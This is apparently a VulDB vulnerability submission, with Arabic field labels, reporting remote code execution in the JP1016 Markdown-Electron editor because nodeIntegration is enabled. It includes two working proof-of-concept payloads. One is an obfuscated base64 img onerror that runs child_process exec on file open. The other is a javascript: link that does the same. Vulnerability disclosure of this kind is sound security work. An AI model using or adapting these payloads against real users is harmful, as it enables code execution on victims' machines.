| عنوان | Incorrect electron configuration causes RCE |
|---|
| الوصف | nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).
EXP
# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>
For more details, please click the announcement. |
|---|
| المصدر | ⚠️ https://github.com/JP1016/Markdown-Electron/issues/3 |
|---|
| المستخدم | Tom23 (UID 41413) |
|---|
| ارسال | 20/02/2023 01:17 PM (4 سنوات منذ) |
|---|
| الاعتدال | 24/02/2023 09:00 AM (4 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 221738 [JP1016 Markdown-Electron تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|